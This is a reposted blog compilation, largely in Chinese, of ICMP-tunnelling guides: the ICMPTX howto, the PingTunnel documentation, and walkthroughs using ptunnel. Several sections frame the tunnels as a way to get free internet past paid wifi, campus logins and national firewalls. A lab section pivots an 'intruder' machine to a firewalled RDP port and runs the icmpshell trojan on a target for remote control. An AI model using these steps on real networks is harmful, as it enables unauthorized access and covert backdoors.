Pages

Thursday, 2 February 2012

ICMPTX (IP-over-ICMP) HOWTO,客户端仅能在linux桌面系统上运行。

See the current ICMPTX project home page.

Problem

You're sitting in an airport or in a cafe, and people want your money for Internet access. They do allow ICMP traffic, though (i.e., you can ping machines on the Internet). Enters ICMPTX. (If you can't use ping, but you can issue name queries, use NSTX: IP-over-DNS.) There are several resources online to point you in the right direction, most notably Case of a wireless hack by Siim Põder. There is a similar, thoroughly undocument program called itun, a simple icmp tunnel that claims to do the same thing. Also, check out PingTunnel which is not IP-over-ICMP, but rather TCP-over-ICMP and, therefore, less useful. Once you've followed these instructions, you basically have a remote proxy, providing you with access to the Internet. Communication between you and the remote proxy is over ICMP.
Note that these instructions play nicely with NSTX. You can run both on one proxy.

Keywords

icmptx, ip-over-icmp, firewall piercing, ping, icmp, tunnel, ifconfig, route, tun/tap, tun0.

Solution: icmptx

The tarball below is based on slightly buggy code I found through Siim Põder's page. I modified it ever so slightly, but I deserve no credit at all. Also, if you destroy everything or anything using this program, I am not responsible. You'll need two copies of icmptx-0.01.tar.gz; one copy for the server, one copy for the client.
Download and compile. For example:
$ wget -O - http://thomer.com/icmptx/icmptx-0.01.tar.gz | tar xvfz -
$ cd icmptx-0.01/
$ make

Proxy-side icmptx setup

You'll need a machine connected to the Internet to serve as your proxy. Make sure the proxy's firewall does not block ICMP traffic. If you can't simply ping the machine, icmptx will surely not work. Also, make sure your kernel supports TUN devices. After compilation, run the icmptx server as root (assuming the proxy's end of the tunnel is going to be 10.0.1.1):
# ./icmptx -d 10.0.1.1
Now verify you have a tun device:
# /sbin/ifconfig tun0
tun0      Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
          POINTOPOINT NOARP MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:10
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

Configure the tun device. Also, ensure the kernel doesn't intercept and reply to pings.
# /sbin/ifconfig tun0 mtu 65536 up 10.0.1.1 netmask 255.255.255.0 
# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
You need to enable forwarding on this server. I use iptables to implement masquerading. There are many HOWTOs about this (a simple one, for example). On Debian, the configuration file for iptables is in /var/lib/iptables/active. The relevant bit is:
*nat
:PREROUTING ACCEPT [6:1596]
:POSTROUTING ACCEPT [1:76]
:OUTPUT ACCEPT [1:76]

-A POSTROUTING -s 10.0.0.0/8 -j MASQUERADE
COMMIT
Restart iptables:
/etc/init.d/iptables restart
and enable forwarding:
echo 1 > /proc/sys/net/ipv4/ip_forward
You can make sure this change (and the modification that disabled echo replies) are permanent by editing /etc/sysctl.conf, and adding:
net/ipv4/ip_forward=1
net/ipv4/icmp_echo_ignore_all=1

Client-side icmptx setup

The client's kernel also needs to support TUN devices. Assuming your proxy's IP address is 212.25.23.52, run as root:
# ./icmptx -c 212.25.23.52
Now setup the tun device:
# /sbin/ifconfig tun0 mtu 65536 up 10.0.1.2 netmask 255.255.255.0
By running /sbin/route -n, figure out what your gateway is. It's the record with the "UG" Flags field. For example:
# /sbin/route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 wlan0
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 wlan0
OK. So "192.168.1.1" is our gateway. Assuming your wireless network device is called "wlan0" (but it might well be "eth1", or whatever), run:
# /sbin/route del default
# /sbin/route add -host 212.25.23.52 gw 192.168.1.1 dev wlan0
# /sbin/route add default gw 10.0.1.1 tun0
Obviously, 212.25.23.52 should be replaced with your proxy's IP address. If all is well, you should have Internet connection now. All traffic will be tunnelled through your proxy, via ICMP.

Problem: some connections seem to hang

Try increasing the MTU size (that is the number that comes after "mtu" when invoking /sbin/ifconfig). Do this on both the client and the server. Running it with an MTU of 65536 seems to work fine (since, if I recall correctly, that is the maximum IP packet size). If you want to be dead sure that this is not the problem, crank it up. This problem will only occur if you are behind a firewall that blocks echo reply packets (see TODO, below). More precisely, some firewalls will only allow a single echo reply for a single echo request. If the payload that needs to be stuffed into the ICMP packet is larger than the maximum size of an ICMP packet, you're out of luck. ssh will probably work, fetching small web pages might still work, but your only hope is increasing the MTU.
Bernd Michael Helm wrote in an email to me:
I managed to get around the *hanging connection* problem and speed up icmptx very much: just open a new console and start ping -f 10.0.1.1 (gateway node) so the client will flood the gateway with icmp requests (which will not be answered). With this I was able to get stable connections and improve the http download speed to 210 kb/s which is the full physical bandwith of my internet connection.

Open problems

Note that I do not maintain the code. Please see the current ICMPTX project home page. As of 2006, three things still needed to happen.
First, icmptx needs to be packaged (preferably for Debian), similar to the Debian nstx package.
Secondly, icmptx needs to deal with small MTUs. Right now you're in trouble if an IP packet is larger than the tun device's MTU. Setting the MTU to 65536 works fine for me, but we need to deal with the situation where that does not work (if intermediate routers refuse large ICMP packets, for example). To compound the problem, a lot of NATs seem to allow only one ICMP echo reply packet per ICMP echo request packet.
An idea that arose in a conversation with Bryan Ford is for the proxy to not only wrap the IP packet in the ICMP packet, but to include an additional header that contains the number of additional ICMP packets required to complete the current IP packet; call this number N. If the IP packet is small enough to fit in one ICMP packet, this number will be zero. If, however, the number is greater than zero, the client responds by sending N ICMP echo requests to the proxy. The proxy uses the N ICMP reply packets to transmit the remaining fragments of the IP packet. This solves both the MTU problem and avoids an intermediate NAT blocking multiple ICMP echo reply packets for one ICMP echo request packet.
Finally, I think the client needs to probe the proxy (similar to NSTX) for pending packets. Currently, only the client can initiate connections. The implementation of this may overlap with the previous point. (Note that John Plaxco seems to have resolved this problem, see the ICMPTX project home page.)

from http://thomer.com/icmptx/
-----------------------------------------

使用icmp和PTunnel 隧道穿墙

需要一台vps,需要用root登录
安装服务端:
如果是debian/ubuntu,可以执行
apt-get install ptunnel

在debian/ubuntu下,仍建议编译ptunnel.而不是用apt-get install ptunnel来安装ptunnel,因为编译的版本高一些,用apt-get install ptunnel安装的版本低一些,这个低版本有些不正常。命令为:
apt-get install gcc libpcap libpcap-dev libpcap0.8 libpcap0.8-dev -y
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar zxvf PingTunnel-0.72.tar.gz
cd PingTunnel
make
cp ptunnel /usr/sbin/

安装squid
apt-get install squid -y

如果是centos/fedora,执行
yum install gcc -y
yum install libpcap libpcap-devel  -y
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar zxvf PingTunnel-0.72.tar.gz
cd PingTunnel
make
cp ptunnel /usr/sbin/

安装squid
yum install squid -y

安装客户端:
linux desktop/macos下,同服务端的安装。
windows有现成的exe下载:
http://vps.galway.nl/ptunnel/ptunnel.exe
另外windows上使用,需要安装winpcap:
http://www.winpcap.org/

执行服务端:
执行squid
/etc/init.d/squid restart

执行ptunnel
ptunnel -m 65535 -udp
如果需要关闭vps的客户端程序(如putty)后仍然可用, 则运行:
ptunnel -m 65535 -udp &  (建议把这行命令加入/etc/rc.local里面)

本地的Windows下,在cmd.exe里执行客户端:
d:\ptunnel.exe -p 服务器的IP地址 -lp 8000 -da 127.0.0.1 -dp 3128 (假设你把ptunnel.exe保存到d:\下。这里3128为你的squid的默认端口。如果你把squid的默认端口改为了其他端口值,则这里的 3128也必须改为相应的端口值.建议你把squid的默认端口改为其他端口值,以策安全。你可以把d:\ptunnel.exe -p 服务器的IP地址 -lp 8000 -da 127.0.0.1 -dp 3128保存为ptunnel.bat,然后双击这个bat文件,客户端就运行起来了。翻墙时,不要关闭这个客户端-dos窗口)
然后把浏览器的http代理设为 127.0.0.1:8000即可翻墙。

以上的命令都可以去掉-udp运行.
如果去掉udp,似乎会只用icmp做隧道。
其他:
1.有被拦截数据包的风险,重要网站请用https
2.可以搜索squid开启ssl支持,我没有做过
3.与透明的tcp tunnel不同,icmp隧道可以绕过关键字拦截,因此可用来翻墙。


注意:关于squid.你修改squid.conf里的http_access deny all改为http_access allow all即可。

from http://web.archive.org/web/20160228091754/https://briteming.blogspot.com/2012/02/ping-tunnel.html

在mac上,编译ptunnel:
brew install libpcap
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar zxvf PingTunnel-0.72.tar.gz
cd PingTunnel
make
(在PingTunnel目录下,就会生成可执行文件ptunnel)

(https://github.com/lnslbrty/ptunnel-ng ,这个ng版的ptunnel我在mac上编译成功
而这个版本https://github.com/f1vefour/ptunnel,我在mac上编译失败。
-------------------------------------------------------------

(https://github.com/izuolan/Pshell/tree/master/source/tunnel )

from http://www.cs.uit.no/~daniels/PingTunnel/

For those times when everything else is blocked.

By Daniel Stødle, daniels@cs.uit.no
Last updated: 5. September 2011

Contents



What is it?

Ptunnel is an application that allows you to reliably tunnel TCP connections to a remote host using ICMP echo request and reply packets, commonly known as ping requests and replies. At first glance, this might seem like a rather useless thing to do, but it can actually come in handy in some cases. The following example illustrates the main motivation in creating ptunnel: Setting: You're on the go, and stumble across an open wireless network. The network gives you an IP address, but won't let you send TCP or UDP packets out to the rest of the internet, for instance to check your mail. What to do? By chance, you discover that the network will allow you to ping any computer on the rest of the internet. With ptunnel, you can utilize this feature to check your mail, or do other things that require TCP.

Features and requirements

Ptunnel is not a feature-rich tool by any means, but it does what it advertises. So here is what it can do:
  • Tunnel TCP using ICMP echo request and reply packets
  • Connections are reliable (lost packets are resent as necessary)
  • Handles multiple connections
  • Acceptable bandwidth (150 kb/s downstream and about 50 kb/s upstream are the currently measured maximas for one tunnel, but with tweaking this can be improved further)
  • Authentication, to prevent just anyone from using your proxy
So what do you need for all this to work?
  • One computer accessible on the internet that is not firewalled (or at least allows incoming ICMP packets)
  • A computer to act as the client (this will usually be your laptop, on the go..)
  • Root access, preferably on both computers
  • A posix-compliant OS, with libpcap (for packet capturing) and its associated headers installed (typically available in a dev-package on Ubuntu)
  • Or: Windows with mingw and WinPcap installed
Compiling the sources simply consists of running make. No ./configure, make, make install, just make. On Windows, you'll need to run make ptunnel.exe, but that's it. The resulting binary is called ptunnel. See the usage section below for info on running it.

How it works

This is a technical description of how ptunnel works. If you're not interested in low-level networking details, you can skip this section. It might help to read it either way, as it provides some insights into the situations where ptunnel doesn't work. Ptunnel works by tunneling TCP connections over ICMP packets. In the following, we will talk about the proxy, the client and the destination. The proxy is the "endpoint" for our ping packets, i.e. the computer that we send the ping packets to. The client is the computer we're trying to surf the net from, and the destination is the computer we would normally be trying to access over TCP (such as a web site or an ssh server somewhere). So, in order to accomplish this, we need the ability to send and receive ping packets. Many operating systems enable us to do this using so-called raw sockets. Raw sockets is the preferred mechanism for sending ICMP packets, and is used by both the proxy and the client. Unfortunately, raw sockets require root, so there is a provision for using standard datagram sockets if they are supported by the operating system (Mac OS X 10.2 or later supports this, but Linux systems will require root either way). Ptunnel supports this, however it is not recommended for actual use. We'll get back to the reason later.
The client will perform all its communications using ICMP echo request (ping) packets (type 8), whereas the proxy will use echo reply packets (type 0). In theory, it is possible to have the proxy also use echo request packets (and thus make it operate without root), but these packets are not necessarily forwarded to the client beyond the host network, so they are not used.
Machine setup
Figure 1. Networking setup.

The protocol

The proxy protocol uses four different message types combined with sequence numbers and an acknowledgement field. A magic number is used to differentiate our ping requests and replies from "usual" pings. The general packet format (not including the IP or ICMP headers) can be seen in the figure below.
Packet format
Figure 2. The packet format used to exchange messages between client and proxy.
The IP and port fields are only used in packets from the client to the proxy. They indicate where the client wants the received packets to be forwarded (they are really only used once - when the proxy receives the first message with state code kProxy_start).
State codes:
kProxy_start = 0;
kProto_data = 1;
kProto_ack = 2;
kProto_close = 3;
kProto_authenticate = 4;
Identifier flags:
kUser_flag = 1 << 30;
kProxy_flag = 1 << 31;
The state code serves a dual purpose. First, it indicates what kind of message is being received - either a message starting a new proxy session (kProxy_start), a message containing data to be forwarded (kProto_data), an explicit acknowledgement of received packets (kProto_ack, a close message (kProto_close) or an authentication challenge/response (kProto_authenticate). Second, it indicates who sent the message: A message sent by the client will have the kUser_flag bit set, whereas a message sent by the proxy has the kProxy_flag bit set. This is necessary since a ping request will cause the operating system on the proxy computer to return its own echo reply, which is identical to the packet we just sent to the proxy. The ack and seq fields are tightly related. Modelled after the use of acknowledgements in TCP, the ptunnel protocol places the sequence number of the last packet received into the ack field of any outgoing message. The seq field is a monotonically increasing 16-bit counter, that is allowed to wrap around (ok, so I guess it's monotonic until it wraps around). Whenever an outgoing packet has been waiting for an acknowledgement too long, the peer will attempt to resend the first packet not yet acknowledged. The length field simply indicates the length of the data portion of the packet, and is 0 for all other state values than kProto_data. Finally the rsv field contains two bytes that are reserved (for now they serve as padding).
On receiving a kProxy_start request, a proxy will open a TCP connection to the server given by the ip and port fields. As data comes in over the TCP connection, the proxy will convert the data to ICMP echo reply packets, and send them to the remote peer. The client will do the same, except its packets will always be echo request packets.

Authentication

As of version 0.60, Ping Tunnel supports authentication. The authentication used is very simple, and works as follows. The user first specifies a password or passphrase, which is then hashed using the MD5 algorithm (Ping Tunnel uses the implementation by L. Peter Deutsch, available here. Note that the implementation is included with Ping Tunnel, so there is no need to download it separately). Whenever a proxy receives a request for a new tunnel, it will respond with an authentication challenge. The challenge consists of a timestamp augmented with random data, totalling 32 bytes. The response is calculated as follows (the + denotes string concatenation):
md5(challenge + md5(password))
The proxy verifies the result by computing the same md5 sums, and then comparing the two. If authentication succeeds, the proxy allows TCP traffic to start flowing in either direction; if not, the connection is torn down.

Handling multiple connections

The proxy handles multiple different connections by using the ICMP identifier field. A client will randomly generate an identifier when it starts a session, and the remote peer will use this identifier to associate the packets with a connection. The mechanism is not foolproof, but works acceptably as long as no two instances attempt to use the same identifier (there is currently no mechanism for reporting such errors). The ICMP sequence number field is not used by ptunnel, mostly due to fears that some routers might drop packets whose sequence number repeats. Instead, a separate sequence number is used as part of the ptunnel packet format (see above).

Send and receive windows

Ptunnel uses the simple concept of send and receive windows for controlling the number of packets that can be in-flight at the same time. The window is currently statically allocated at 64 packets, but the number can be tweaked by modifying the ptunnel header file (yes, a recompile is required). Increasing the window size will improve the maximum potential bandwidth. The send and receive windows are simply implemented as a set of circular arrays, with pointers indicating the next available send/receive slot, and the first non-acked packet.

Handling packet loss

Ptunnel handles packet loss by resending (presumably) lost packets. As it sends packets, it will increment a sequence number. Both the client and proxy maintain their own sequence number, and also a number indicating the last sequence number acknowledged by the remote peer. Whenever too much time (1.5 seconds) passes without a packet being acknowledged, the peer will resend that packet. Note that the peer will only resend the first missing packet. Once that packet has been acknowledged, it may resend the next packet(s), depending on how many packets were acknowledged. If the next few packets are acknowlegded as well, they are removed from the send queue. It is not uncommon for one packet to get lost, with most of the others making it through. This mechanism avoids unecessary resends as much as possible.

Congestion control

Ptunnel currently does no explicit congestion control. It will send as many ping packets as the window size allows, as slowly or as quickly as it sees fit. This might be improved in the future, if it turns out to be a problem (which is not at all unlikely..).

When things don't work

There are a number of situations where ptunnel will fail. They can briefly be put into the following categories:
  1. Outgoing/incoming ping not allowed, or filtered by a gateway somewhere along the way
  2. Operating system causing trouble
  3. Probably some other failures as well ;)
We can't handle the first failure - if our packets are filtered before we can get at them, there's little we can do. It is possible to deal with the second scenario by using the packet capturing library to get the packets before the OS sees them. This is necessary on Mac OS X, and may be necessary on other platforms as well. The problem lies in that the OS may occasionally not deliver ICMP packets to the raw socket we have opened for sending and receiving. This happens when the ICMP packet is an echo request (which the OS handles by itself) or when the ICMP packet is a resend (for some weird reason). The workaround is to use packet capture, however this tends to diminish bandwidth by quite a bit. For this reason, you should always try to run the proxy without packet capturing, and see if that works first. (This is the default mode.)

Download

The current version of ptunnel is 0.72, and the source code is available for download here. Some other links:
Ptunnel has so far been tested on a variety of configurations, including Linux Fedora Core 2 and Mac OS X 10.3.6 and above.
Debian users can install Ping Tunnel by adding the following to /etc/apt/sources.list deb http://www.cti.ecp.fr/~beauxir5/debian binary/
deb-src http://www.cti.ecp.fr/~beauxir5/debian source/

And then run apt-get update followed by apt-get install ptunnel. A big thanks to Romain Beauxis for taking the time to create a Debian package for ptunnel!
As of version 0.70, ptunnel has support for Windows built-in, thanks to Mike Miller. You will need mingw and WinPcap (download here) installed to compile on Windows. Please note that I don't use Windows, so I can not provide support for compilation-specific issues regarding the Windows port. Wouter van der Veer has been kind enough to provide a compiled Windows binary on his website, which you can download here.

Using ptunnel

Client: ./ptunnel -p -lp -da -dp [-c ] [-v ] [-f ] [-u] [-x password]
Proxy: ./ptunnel [-c ] [-v ] [-f ] [-u] [-x password]
The -p switch sets the address of the host on which the proxy is running. A quick test to see if the proxy will work is simply to try pinging this host - if you get replies, you should be able to make the tunnel work.
The -lp, -da and -dp switches set the local listening port, destination address and destination port. For instance, to tunnel ssh connections from the client machine via a proxy running on proxy.pingtunnel.com to the computer login.domain.com, the following command line would be used:
sudo ./ptunnel -p proxy.pingtunnel.com -lp 8000 -da login.domain.com -dp 22
An ssh connection to login.domain.com can now be established as follows:
ssh -p 8000 localhost
If ssh complains about potential man-in-the-middle attacks, simply remove the offending key from the known_hosts file. The warning/error is expected if you have previously ssh'd to your local computer (i.e., ssh localhost), or you have used ptunnel to forward ssh connections to different hosts.
Of course, for all of this to work, you need to start the proxy on your proxy-computer (we'll call it proxy.pingtunnel.com here). Doing this is very simple:
sudo ./ptunnel
If you find that the proxy isn't working, you will need to enable packet capturing on the main network device. Currently this device is assumed to be an ethernet-device (i.e., ethernet or wireless). Packet capturing is enabled by giving the -c switch, and supplying the device name to capture packets on (for instance eth0 or en1). The same goes for the client. On versions of Mac OS X prior to 10.4 (Tiger), packet capturing must always be enabled (both for proxy and client), as resent packets won't be received otherwise.
To protect yourself from others using your proxy, you can protect access to it with a password using the -x switch. The password is never sent in the clear, but keep in mind that it may be visible from tools like top or ps, which can display the command line used to start an application.
Finally, the -u switch will attempt to run the proxy in unprivileged mode (i.e., no need for root access), and the -v switch controls the amount of output from ptunnel. -1 indicates no output, 0 shows errors only, 1 shows info messages, 2 gives more output, 3 provides even more output, level 4 displays debug info and level 5 displays absolutely everything, including the nasty details of sends and receives. The -f switch allows output to be saved to a logfile.

Changes

0.72 - 5. September 2011
  • Fixes an authentication bug that would manifest as hung connections with protocols that send data from the client-side before receiving data from the server-side. Thanks to StalkR for locating the bug and fixing it.
  • Fixes a crash when attempting to enable packet-capture for non-existing network devices. Thanks to Steffen Wendzel for the patch.
0.71 - 22. June 2009

  • Added security features and SELinux support, courtesy of Sebastien Raveau.
0.70 - 12. January 2009

  • Added rudimentary support for tunneling over UDP port 53. This may or may not be useful.
  • Added built-in support for compiling on Windows, thanks to Mike Miller.
  • Added syslog support, also courtesy of Mike Miller.
  • Experimental support for spoofing the source IP address. The source address must be explicitly configured in the source code, and it might not work (which is why it's experimental). To enable, define kPT_add_iphdr to 1.
0.62 - Never released

  • Added many comments to the ptunnel header file.
  • Moved most include directives to the header file.
  • Fixed crash if proxy or destination hostnames could not be looked up.
0.61 - 26. May 2005

  • Noted that ptunnel now works without packet capturing on Mac OS X 10.4 Tiger.
  • Log files are now opened in append-mode (i.e., not truncated).
  • Fixed a bug that could cause ptunnel to crash if passwords shorter than 16 characters were used (the overwhelming majority of passwords, most likely!).
0.60 - 15. Apr 2005

  • Added authentication support, changing parts of the ptunnel protocol.
  • Added a manpage.
  • Added MD5 implementation by L. Peter Deutsch for authentication.
  • Moved declaration of a variable to allow ptunnel to compile cleanly on gcc 2.95 - thanks Choong!
  • Added error handling for proxy connections.
  • Fixed a problem with printing send/recv info. All verbosity levels should work now.
  • Updated contact info.
0.55 - 18. Feb 2005

  • Fixed a locking bug that would manifest itself when the maximum connection count on the proxy was reached.
  • Fixed ptunnel to compile correctly on 64-bit architectures (thanks to Åsmund Grammeltvedt for pointing out the necessary changes!)
  • Added a new logging level (level 5). Level 4 no longer outputs send and receive info; for this info level 5 is necessary.
  • When libpcap is in use, the interface is no longer put in promiscous mode. This has never been necessary, and also makes it impossible to use ptunnel with more than one client on the same network.
  • Discovered a problem with pcap that would cause ptunnel to hang when pcap was in use. This problem has not been resolved; the workaround is to simply re-execute the client, or disable pcap if possible.
  • Added support for specifying a log file on the command line, using the -f switch.
0.54 - 1. Feb 2005

  • Fixed a byte-order bug (thanks Alfred!)
0.53 - 31. Jan 2005

  • Fixed a threading bug, and implemented support for limiting the maximum number of tunnels.
Thanks to Alfred Young for reporting and fixing the following bugs:

  • Fixed a bug with packets captured via libpcap, where the struct sockaddr wasn't properly zeroed.
  • Fixed a byte order bug in create_and_insert_proxy_desc.
  • Fixed a memory leak in remove_proxy_desc.
0.52 - 3. Jan 2005

  • Fixed a problem introduced by the ICMP ID field changes. The proxy didn't retain the ID of the packets received from clients, resulting in dropped ICMP packets at the router. This in turn lead to the tunnel no longer working, depending on the strictness of the router. This version fixes that problem.
  • Makefile is better now, thanks to Dries Verachtert.
0.51 - 2. Jan 2005

  • Fixed incorrect checksum calculation for resent packets.
  • Stopped relying on the ICMP packet's "built-in" ID field, and moved the information to the data portion of the packet.
  • Changed default verbosity level from debug to verbose.

Feedback

I'd be grateful for any feedback you may have - send it to me here: daniels@cs.uit.no. I'm interested in hearing about bugs, suggestions and naturally general criticism. If you find it useful, I'd love to know about that too :)








    -----------------------





    利用icmp隧道(ptunnel)轻松穿透tcp/udp四层封锁


    关于icmp 隧道使用场景简单说明:





    1
    两台机器间,除了允许相互ping [ 即icmp通信 ],其他的tcp/udp端口一律不允许,此时我们就可考虑利用icmp隧道进行穿透
    0x01 此次用于演示的环境大致如下:





    1
    2
    3
    4
    lnmp01 ip: 192.168.3.30 入侵者机器
    MidLAMP ip: 192.168.3.19 为目标linux机器,即icmp跳板机
    win2008R2cn ip: 192.168.3.23 为目标windows机器,开启了3389
    win7en ip: 192.168.3.17
    1
    2
    lnmp01想访问win2008R2cn的3389,由于win2008R2cn开了防火墙且做了ip限制,没法直接从lnmp01上进行访问
    虽然win2008R2cn开启了防火墙,但好在MidLAMP能ping通win2008R2cn,即没有阻断它们之间的icmp通信
    0x02 最终要达到的目的:





    1
    2
    让MidLAMP作为imcp跳板,通过访问lnmp01的指定端口来转发到win2008R2cn的3389
    实现的最终效果,即访问lnmp01的指定端口就相当于访问win2008R2cn的3389
    0x03 此时,我们就可以利用 ptunnel 来快速实现这一需求.
    快速编译安装ptunnel





    1
    2
    3
    4
    5
    # yum install libpcap libpcap-devel flex bison -y
    # tar xf PingTunnel-0.72.tar.gz
    # cd PingTunnel
    # make && make install
    # cd
    首先,在目标机器MidLAMP上执行:





    1
    # ptunnel 开启icmp隧道,等待外部连接
    然后,回到lnmp01机器上执行:





    1
    2
    3
    4
    -p 指定icmp跳板机ip
    -l 指定本地转发端口
    -da 指定最终要访问的机器ip
    -dp 指定最终要访问的机器端口,如,ssh,rdp,database...
    1
    # ptunnel -p 192.168.3.19 -lp 1080 -da 192.168.3.23 -dp 3389
    1
    2
    上面这句话的意思很简单,也就是说让MidLAMP作为icmp隧道跳板,当外部来访问lnmp011080端口时
    就相当于进入了刚刚打通的icmp隧道,然后把到win2008R2cn的指定的端口数据都封装到这个隧道里面进行传送
    最后,回到本地的win7en 机器上执行





    1
    mstsc 192.168.3.30:1080
    ''
    在wireshark下我们很清晰的看到了这一过程,只是这个icmp请求过于密集,很容易触发各种ids
    ''
    0x04 除了利用icmp隧道进行常规端口转发,也有很多利用此协议进行穿透的马[也是对tcp数据重新用icmp封装],也就是说,入侵者根本不需要你开任何端口,仅仅只需要能正常ping通,我一样可以穿透进而进行远控,如下简单demo
    编译icmpshell,编译成功后会生成两个可执行文件,ish是控制端,ishd是木马端





    1
    2
    # cd icmpshell
    # make linux
    首先,在目标机器MidLAMP上执行木马端:





    1
    2
    3
    -i 指定木马端端口
    -t 指定icmp类型
    -p 指定单包大小
    1
    # ./ishd -i 443 -t 0 -p 1024 &
    然后,再回到本地机器lnmp01上执行控制端进行连接,程序有值得改进的地方,如,设置连接密码:





    1
    # ./ish -i 443 -t 0 -p 1024 192.168.3.19
    ''
    在lnmp01机器上观察icmp数据





    1
    # tcpdump -i eth0 icmp
    ''


    小结:
        当然,关于icmp的用途绝非仅限于此,更多优秀用途,待续……也非常期待能和大家一起交流.

    from https://klionsec.github.io/2017/10/31/icmp-tunnel/
    -----------------------------------------

    利用ICMP隧道穿透防火墙并翻墙


    因为没有账号,教学时连进校园网无法认证登录。但是发现可以ping通外网服务器,联想到icmp隧道,
    于是有了以下实践。

    目的:

    在一台因防火墙等原因仅限icmp数据通过的内网服务器和一台公网服务器之间建立icmp隧道,
    并在公网服务器上进行数据转发,实现内网服务器穿透防火墙并翻墙。
    应用在具体情景中,如起因中所述,便可以实现无需学生账号而成功上网。

    工具:

    一台香港服务器,ptunnel

    原理:

    简单的理解就是在客户端借助icmp协议把想要发送的信息包装起来,到了服务器进行解包,
    返回时同样用icmp协议包装信息,送达客户端再解包,实现信息交流。
    关于工具的使用和具体原理,详情可参考:
    http://www.cs.uit.no/~daniels/PingTunnel/

    步骤:

    工具的下载安装也可参考上面的链接。
    首先是在客户端和服务器端建立icmp隧道,这里通过-x参数设置密码,注意,涉及到raw socks,
    最好需要root权限。
    server:



    1
    sudo ./ptunnel -x password
    client:



    1
    sudo ./ptunnel -p server_ip -lp 8000 -da server_ip -dp 22 -x password
    如上,便成功在内网服务器和公网服务器之间打通了icmp隧道。
    这里的命令意思是在client上监听8000端口并将接收到的数据转发到-da参数指定的服务器上的-dp参数设置的端口上。
    注意!!
    这里有个小坑,刚开始学习ptunnel这个工具时,以为成功建立了icmp隧道就能顺利上网了,实则不然。
    ptunnel这个工具不支持网关功能,从使用文档里的例子就能看出来。
    刚开始我还很纳闷,为什么只有那么一个例子,现在才明白原来是没这个功能。。。
    如我上面的命令,仅仅是将本地数据发送到指定服务器上的指定端口,也就是端到端的连接。
    如果想要借助ptunnel顺利浏览网页,则还需要实现进一步的数据转发。
    这里稍稍令我头疼了一会儿,幸好看到这篇文章,一解燃眉之急:
    http://www.cnblogs.com/zylq-blog/p/6747217.html
    也就是借助ssh的动态转发功能.
    接着上面的两条命令继续
    client:
    1
    ssh -D 7000 localhost -p 8000

    解释一下,这里发送ssh请求到本地8000端口,由于上面的icmp隧道的建立,8000端口收到数据会利用icmp协议包装信息发送到server上的22端口并解包。
    这个过程便成功借助icmp隧道穿透了防火墙,而server端收到ssh请求加上-D参数会对数据作相应的转发,此时浏览器挂localhost:7000的代理就能顺利浏览网页了。
    由于我的服务器是香港的,因此也成功实现了翻墙!
    顺带一提,由于client8000端口与server22端口间建立了ssh连接,因此二者之间传递的数据还会被加密传输。

    小结:

    除了icmp tunnel之外,还有dns等其他协议的隧道,根据实际情况可以作相应调整。
    日常生活中一般什么情况比较实用呢?
    我暂时想到的也就是类似校园网里需要登录认证的情形或者一些公共场合的付费wifi,大部分没有过滤dns或者icmp的流量,借助隧道可以实现免费上网。
    当然,多开开脑洞,我相信还有很多有趣的应用.

    后记:

    后面在学校图书馆做了番实践,发现ping不通,但是可以作dns查询,因此利用iodine工具搭建
    dns隧道尝试穿过防火墙。
    关于dns tunnel的原理,比icmp tunnel稍复杂一点,分为中继和直连两种模式,具体可参考
    这篇文章: http://www.freebuf.com/sectool/112076.html
    最后倒是实现了无需认证就能上网,只是网速实在太慢。或许换成直连模式网速能好很多.
    但限制条件太多了。效果还是不算理想。 但限制条件太多了。效果还是不算理想